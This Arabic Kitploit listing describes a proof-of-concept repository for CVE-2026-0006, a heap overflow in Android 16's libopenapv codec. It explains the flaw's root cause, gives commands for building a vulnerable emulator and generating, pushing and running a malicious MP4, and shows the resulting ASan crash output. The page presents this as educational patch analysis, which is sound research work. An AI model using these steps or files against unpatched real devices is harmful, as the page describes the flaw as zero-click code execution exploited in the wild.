Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-0006-openapv-poc — CVE-2026-0006: إثبات مفهوم (PoC) لثغرة تجاوز سعة المخزن المؤقت في الكومة (Heap Buffer Overflow) لمكتبة libopenapv (برنامج ترميز APV لنظام أندرويد) - CVSS 9.8 | Kitploit
أدوات/GitHubGitHub/mobilehackinglab/cve-2026-0006-openapv-poc
أمان أندرويدتحليل الثغرات الأمنيةتحليل الكودالاستغلالالاختبار العشوائيأمن الجوالالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubmobilehackinglab/cve-2026-0006-openapv-poc

CVE-2026-0006-openapv-poc

CVE-2026-0006: إثبات مفهوم (PoC) لثغرة تجاوز سعة المخزن المؤقت في الكومة (Heap Buffer Overflow) لمكتبة libopenapv (برنامج ترميز APV لنظام أندرويد) - CVSS 9.8

عرض المستودع
126منذ 4 أشهرلم تتم المراجعة بعد

CVE-2026-0006: تجاوز سعة المخزن المؤقت في الكومة في libopenapv (برنامج ترميز APV لنظام أندرويد)

تحليل التصحيح وإعادة الإنتاج بواسطة Mobile Hacking Lab

CVSS 9.8 حرج | مُستغل بنشاط في البرية | تم تصحيحه في مارس 2026

ملاحظة: لم نكتشف هذه الثغرة الأمنية. كل الفضل في اكتشاف CVE-2026-0006 والإبلاغ المسؤول عنها يعود إلى الباحثين الأصليين. يحتوي هذا المستودع على تحليل التصحيح المستقل وإعادة الإنتاج والشرح التعليمي الخاص بنا لمساعدة مجتمع الأمن على فهم فئة هذا الخلل وتقنيات الاستغلال المعنية.

عرض توضيحي: تشغيل deploy_exploit_mp4.sh يؤدي إلى SIGSEGV في mediaswcodec

نظرة عامة

CVE-2026-0006 هو تجاوز سعة المخزن المؤقت في الكومة في libopenapv، برنامج ترميز APV (الفيديو الاحترافي المتقدم) مفتوح المصدر من سامسونج والمدمج في أندرويد 16 كوحدة Mainline.

تسمح الثغرة بـتنفيذ تعليمات برمجية عن بُعد بدون أي تفاعل (zero-click) عبر ملف MP4 مُعد خصيصًا. يعالج إطار عمل الوسائط في أندرويد ملفات الفيديو تلقائيًا لإنشاء الصور المصغرة والمعاينات — دون الحاجة إلى أي تفاعل من المستخدم.

السبب الجذري

تقرأ الدالتان oapvd_info() و oapvd_decode() أبعاد الإطار من PBU مختلفة (وحدات حمولة البايت Payload Byte Units). يحقن المهاجم PBU من نوع AU_INFO (النوع 65) يدّعي أبعادًا صغيرة (16×16)، بينما يقوم PBU الفعلي من نوع FRAME بترميز أبعاد كبيرة (64×64). يخصص الإطار المخازن بناءً على مخرجات oapvd_info()، ثم تكتب oapvd_decode() وحدات البكسل المفكوكة بأبعاد PBU من نوع FRAME — متجاوزةً سعة المخزن المؤقت بـ 14,848 بايت.

الإصدارات المتأثرة

  • libopenapv من الإصدار v0.1.11.1 حتى v0.1.13.0
  • أجهزة أندرويد 16 ذات مستوى تصحيح أمان قبل مارس 2026
  • سامسونج Galaxy S26 Ultra والأجهزة الأخرى التي تدعم برنامج ترميز APV

محتويات المستودع

إعداد بيئة الاختبار

تحتاج إلى محاكي أندرويد 16 بمستوى تصحيح أمان قبل مارس 2026 (برنامج فك ترميز APV غير موجود في إصدارات أندرويد الأقدم).

إنشاء AVD

root@kitploit:~
# Install the required system image (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"

# Create the AVD
avdmanager create avd \
  -n android16_apv \
  -k "system-images;android-36.1;google_apis;arm64-v8a" \
  -d pixel_6

# Launch the emulator
emulator -avd android16_apv -no-snapshot-load

التحقق من وجود برنامج فك ترميز APV

root@kitploit:~
# Check that the APV codec module exists
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so

# Check security patch level (must be before 2026-03-01)
adb shell getprop ro.build.version.security_patch

إذا كان تصحيح الأمان هو 2026-03-01 أو أحدث، فستكون الثغرة قد تم إصلاحها ولن يعمل الاستغلال. استخدم صورة نظام أو لقطة أقدم.

بدء سريع

الخيار 1: نشر ملف MP4 الاستغلالي المُجهز مسبقًا إلى جهاز أندرويد

root@kitploit:~
# Requires: adb connected to Android 16 device/emulator (pre-March 2026 patch)
./deploy_exploit_mp4.sh

يقوم هذا الأمر بتوليد ملف MP4 الاستغلالي، ودفعه إلى الجهاز، وفتحه، والتقاط مخرجات الانهيار. قد لا يحدث الانهيار من المحاولة الأولى — يعيد السكربت المحاولة تلقائيًا حتى 3 مرات.

الخيار 2: توليد ملف MP4 الاستغلالي فقط

root@kitploit:~
# Requires: valid.apv and apv-mp4/valid_ffmpeg.mp4 (both included)
python3 generate_overflow_mp4.py

الخيار 3: الترجمة المتقاطعة لإثبات مفهوم ASan لبنية ARM64

root@kitploit:~
# Requires: Android NDK r29+, libopenapv v0.1.11.3 source
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so

# 1. Build libopenapv with ASan for ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
  -DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)

# 2. Cross-compile the MP4 ASan PoC
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
  -I../inc -I./include \
  poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan

# 3. Push and run on device
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
  ASAN_OPTIONS=detect_leaks=0 \
  /data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"

مخرجات ASan المتوقعة

root@kitploit:~
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0

0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)

كيف تم الإصلاح

  1. فحوصات حدود فورية (الالتزام fb6a5eab): التحقق من ssize > 4 وفحص التوقيع 'aPv1'
  2. التحقق من المعاملات (v0.1.13.1): وحدة oapv_param.c للتحقق من الأبعاد/حجم البلاطات
  3. وصول آمن لتدفق البتات (v0.2.0.0): قراءات مع فحص الحدود على مستوى قارئ تدفق البتات

المراجع

  • النشرة الأمنية لأندرويد - مارس 2026
  • مستودع libopenapv على GitHub
  • RFC 9924 - برنامج ترميز APV
  • Mobile Hacking Lab - الشرح الكامل

الاعتمادات

تم اكتشاف هذه الثغرة الأمنية والإبلاغ عنها بمسؤولية من قبل الباحثين الأمنيين الأصليين. لم نعثر نحن على هذا CVE. كل الفضل في الاكتشاف يعود إليهم.

يمثل هذا المستودع تحليل التصحيح وإعادة الإنتاج المستقل من Mobile Hacking Lab — تم إنشاؤه لأغراض تعليمية لمساعدة مجتمع الأمن على التعلم من الثغرات الواقعية.

إخلاء مسؤولية

أُجري هذا البحث لأغراض تعليمية على بنى اختبار معزولة من المكتبة القابلة للاختراق. تم إجراء جميع الاختبارات على ملفات ثنائية مبنية محليًا من مشروع libopenapv مفتوح المصدر. لم يتم استهداف أي أجهزة أو أنظمة إنتاجية.

تنزيل الأداة
الملفالوصف
generate_overflow_mp4.pyيولّد ملف MP4 الاستغلالي مع عدم تطابق أبعاد AU_INFO
deploy_exploit_mp4.shبخطوة واحدة: التوليد، الدفع إلى جهاز أندرويد، الفتح، والتقاط الانهيار
poc_mp4_asan.cإثبات مفهوم ASan يحاكي مسار فك الترميز C2SoftApvDec
poc_android_oob_write.cإثبات مفهوم ARM64 مستقل مع اكتشاف تجاوز منطقة الحماية
valid.apvتدفق بت APV صالح بحجم 337 بايت (64×64، YUV422، 10-بت)
apv-mp4/valid_ffmpeg.mp4حاوية MP4 أساسية (تم توليدها بواسطة ffmpeg)
apv-mp4/overflow_auinfo.mp4ملف MP4 استغلالي مُجهز مسبقًا (1,178 بايت)